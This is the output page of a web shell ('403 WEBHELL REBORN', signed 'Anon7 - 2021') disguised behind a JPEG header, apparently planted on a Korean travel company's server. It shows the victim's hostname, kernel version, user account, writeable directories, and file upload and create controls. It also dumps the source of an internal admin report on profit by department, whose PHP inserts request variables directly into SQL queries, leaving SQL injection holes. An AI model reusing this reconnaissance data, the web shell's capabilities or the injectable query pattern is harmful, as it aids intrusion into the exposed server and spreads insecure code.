ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/calculate/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/calculate/good_date_depart.html
<?
include "../include/top.html"; //공통파일 인클루드
include "_common.php";

//테이블명
$table = "TB_ACCOUNT_GOOD";

// 검색 설정
$sql_where = " ";
//if($hotel_s) $sql_where = " and d.{$hotel_s} like '%{$search_word}%' ";

if(!$date_s) $date_s="ins_dt";
if(!$key_date2_s) $key_date2_s = date("Y-m-")."01"; // 기간 검색
if(!$key_date3_s) $key_date3_s = date("Y-m-d"); // 기간 검색

$date_between = count(date_to_date($key_date2_s , $key_date3_s));

if($date_between > 100) { // 검색조건
	echo("<script>alert('검색일자간에 3달 이상 차이가남니다.');</script>");
	$key_date2_s = date("Y-m-")."01";
	$key_date3_s = date("Y-m-d");
}

// 부서
$sql = "select admin_depart from TB_ACCOUNT_GOOD where d_start BETWEEN '{$key_date2_s}' AND '{$key_date3_s}' group by admin_depart";

$rs = db_query($sql);
$arr = db_fetch_all($rs);

$total = 0 ;

// 정렬 설정
$sql_order="";
if($sort_obj_s) $sql_order = " d.{$sort_obj_s} {$sort_s}";

$depart_data = array();

for($i=0 ; $i<count($arr) ; $i++) {
	$depart_cd = $arr[$i]['admin_depart'];

	$depart_data[$i]['depart'] = array();
	$depart_data[$i]['total'] = array();
	$depart_data[$i]['data'] = array();

	if($depart_cd)
	{

		$arr_t = base_codec("CRP","DEPT",$depart_cd);
	
		// 배열에 저장
		$data = array();

		$sql="
				SELECT a.*,
							 b.sales_price,
							 (b.sales_price-a.exes_tot) as comm_tot,/*알선수수료*/
							 ((b.sales_price-a.exes_tot)+a.revn_tot) as incom_tot,/*총수익*/
							 (SELECT COUNT(seq) FROM TB_RES_GOOD_PERSON WHERE ev_uid=a.d_uid AND res_no IN (SELECT res_no FROM TB_RES_GOOD WHERE res_stat_cd='C') ) AS inwon 
				FROM 
					(
					SELECT s.g_uid,s.d_uid,s.d_title,s.d_start,s.d_end,SUM(s.revn_price) AS revn_tot,SUM(s.exes_price) AS exes_tot,admin_depart,admin_brench 
					FROM TB_ACCOUNT_GOOD s
					WHERE s.d_start BETWEEN '{$key_date2_s}' AND '{$key_date3_s}' 
					GROUP BY s.d_uid
					) a 
					LEFT JOIN 
							 (
								 SELECT t.ev_uid,SUM(t.sales_total) AS sales_price
								 FROM TB_RES_GOOD t 
								 WHERE t.res_stat_cd='C' AND ev_uid in
								 (
										select d_uid  
										from TB_ACCOUNT_GOOD  
										where d_start between '{$key_date2_s}' and '{$key_date3_s}'  
										group by d_uid  
								 )
								 GROUP BY t.ev_uid 
							 ) b 
					ON b.ev_uid = a.d_uid   
					where admin_depart = '{$depart_cd}' 
		";

		$rs = db_query($sql);

		$data = db_fetch_all($rs);

		$cnt = count($data);
		$total += $cnt;

		$depart_data[$i]['depart'] = $arr_t[0]['cd_nm'];
		$depart_data[$i]['data'] = $data;
	}
}
?>
    <div class="contents_wrap">
    <div class="contents_wrap_in">
    	<div class="title">부서별 수익현황</div>
      <div class="contents_detail">

      <ul class="register_tab">
				<li><a href="../calculate/good_date_cal.html">행사별정산</a></li>
				<li><a href="../calculate/good_date_ev.html">행사별 수익현황</a></li>
				<li><a href="../calculate/good_date_admin.html">담당자별 수익현황</a></li>
				<li class="on"><a href="../calculate/good_date_depart.html">부서별 수익현황</a></li>
				<li><a href="../calculate/good_date_brench.html">지점별 수익현황</a></li>
			</ul>

      <div class="top_txt_s">
      	<div class="bar_wrap">
      	<p class="search_result_txt lo_left"><span><?=$total?></span> 건이 검색되었습니다.</p>
        <div class="btn_excel">
        <img src="../image/btn/btn_print.gif" alt="인쇄하기" style="cursor:pointer;" onclick="page_print('print_div');" />
        </div>
        </div>
      </div>
      <div class="calculate_wrap">
			<!-- 폼 -->
			<form name="frm_search" id="frm_search" method="get" style="margin:0px;padding:0px;">
      	<table width="100%" border="0" cellspacing="0" cellpadding="0" class="t_r_register" >
        <thead>
        <tr>
      	<td colspan="2" class="t_top_line"></td>
      	</tr>
        <tr>
      	<td colspan="2" class="top_txt2">기간검색</td>
      	</tr>
        </thead>
        <tbody>
			<tr>
			<th width="80">행사일</th>
			<td class="input_lo">

				<ul class="c_in_search">
					<!---<li>
						<select name="date_s">
							<option value="ev_start" <?=($date_s=="ev_start")?"selected":""?>>출발일</option>
							<option value="ins_dt" <?=($date_s=="ins_dt")?"selected":""?>>예약일</option>
						</select>
					</li>-->
					<li>
						<ul class="btn_day lo_left">
							<li style="cursor:pointer;" onClick="$('#key_date2_s').val('<?=date("Y-m")?>-01');$('#key_date3_s').val('<?=date("Y-m-d")?>');">이번달</li>
							<li style="cursor:pointer;" onClick="$('#key_date2_s').val('<?=date("Y-m",strtotime(" -1 month"))?>-01');$('#key_date3_s').val('<?=date("Y-m",strtotime(" -1 month"))?>-31');">지난달</li>
						</ul>
					</li>
					<li>
						<input name="key_date2_s" id="key_date2_s" type="text" class="cal_input" size="12" onclick="AjaxCal(this,event);" value="<?=$key_date2_s?>" readonly/> 
						~ <input name="key_date3_s" id="key_date3_s" type="text" class="cal_input" size="12" onclick="AjaxCal(this,event);" value="<?=$key_date3_s?>" readonly/> 
					</li>
					<li>
					<input type="image" src="../image/btn/btn_search.gif" align="top" alt="검색" class="input_btn_search" />
					</li>
				</ul>

			</td>
			</tr>

				</tbody>
				</table>
			</form>
			<!-- /폼 -->
				<!-- print area -->
				<DIV id="print_div">
				<?
				for ($s =0 ; $s<count($depart_data) ; $s++)
				{
					$data = $depart_data[$s]['data'];
					$depart_nm = $depart_data[$s]['depart'];
						
				?>
				<table width="100%" border="0" cellspacing="0" cellpadding="0" class="t_c_list2 mt20" >
				<thead>
				<tr>
				<td colspan="10" class="t_top_line"></td>
				</tr>
				<tr>
				<th width="100px">부서</th>
				<th width="90px">출발일</th>
				<th width="90px">도착일</th>
				<th>행사명</th>
				<th width="40px">인원</th>
				<th width="100px">총판매가</th>
				<th width="100px">알선수수료</th>
				<th width="100px">기타수익</th>
				<th width="100px">경비/비용</th>
				<th width="100px">총수익</th>
				<!-- <th>담당자</th>
				<th>부서</th> -->
      	</tr>
        </thead>
        <tbody>
				<?
				$inwon_tot=0;
				$sales_price_tot=0;
				$com_tot=0;
				$revn_tot=0;
				$exes_tot=0;
				$incom_tot=0;
				for($i=0 ; $i < count($data) ; $i++){
					$row = $data[$i];
					
					$inwon_tot			+=$row['inwon'];
					$sales_price_tot+=$row['sales_price'];
					$com_tot				+=$row['comm_tot'];
					$revn_tot				+=$row['revn_tot']; 
					$exes_tot				+=$row['exes_tot'];  
					$incom_tot			+=$row['incom_tot']; 
				?>
      	<tr height="30">
				<td><?=$depart_nm?></td>
      	<td><?=$row['d_start']?></td>
      	<td><?=$row['d_end']?></td>
      	<td class="t_contents"><?=$row['d_title']?></td>
				<td style="text-align:right;"><?=$row['inwon']?></td>
				<td style="text-align:right;"><?=number_format($row['sales_price'])?></td>
      	<td style="text-align:right;"><?=number_format($row['comm_tot'])?></td>
      	<td style="text-align:right;"><?=number_format($row['revn_tot'])?></td>
				<td style="text-align:right;"><?=number_format($row['exes_tot'])?></td>
				<td style="text-align:right;"><?=number_format($row['incom_tot'])?></td>
      	</tr>
				<?
				}
				?>
      	<tr style="font-weight:bold;"  height="30">
      	<td class="t_contents" colspan="4" style="text-align:right;padding-right:20px;">계</td>
      	<td><?=$inwon_tot?></td>
				<td style="text-align:right;"><?=number_format($sales_price_tot)?></td>
				<td style="text-align:right;"><?=number_format($com_tot)?></td>
      	<td style="text-align:right;"><?=number_format($revn_tot)?></td>
				<td style="text-align:right;"><?=number_format($exes_tot)?></td>
      	<td style="text-align:right;"><?=number_format($incom_tot)?></td>
      	</tr>
        </tbody>
				</table>
				<?}?>
				</DIV> <!-- /print area -->
			</div>
      </div>
		</div>
    </div>
    
<? include "../include/footer.html" ?>

<iframe name="ifrm_print" id="ifrm_print" src="../include/print_iframe.html?table_width=600" width="0" height="0" scrolling="yes"></iframe><!-- 인쇄 -->
<script type="text/javascript">
function page_print(id)
{
	var inner_str = "";
	var ifrm = document.getElementById('ifrm_print');

	inner_str = $("#"+id).html();
	ifrm.contentWindow.document.getElementById('print_div').innerHTML = inner_str;
	ifrm_print.focus();
	ifrm_print.start_print();
}
$(document).ready(function(){
	$(".t_c_list2 tbody td").each(function(){
		
		var _html = $(this).html();
		
		$(this).html("<div style='width:100%;height:19px;overflow:hidden;'>"+_html+"</div>");
	});
});
</script>

Anon7 - 2021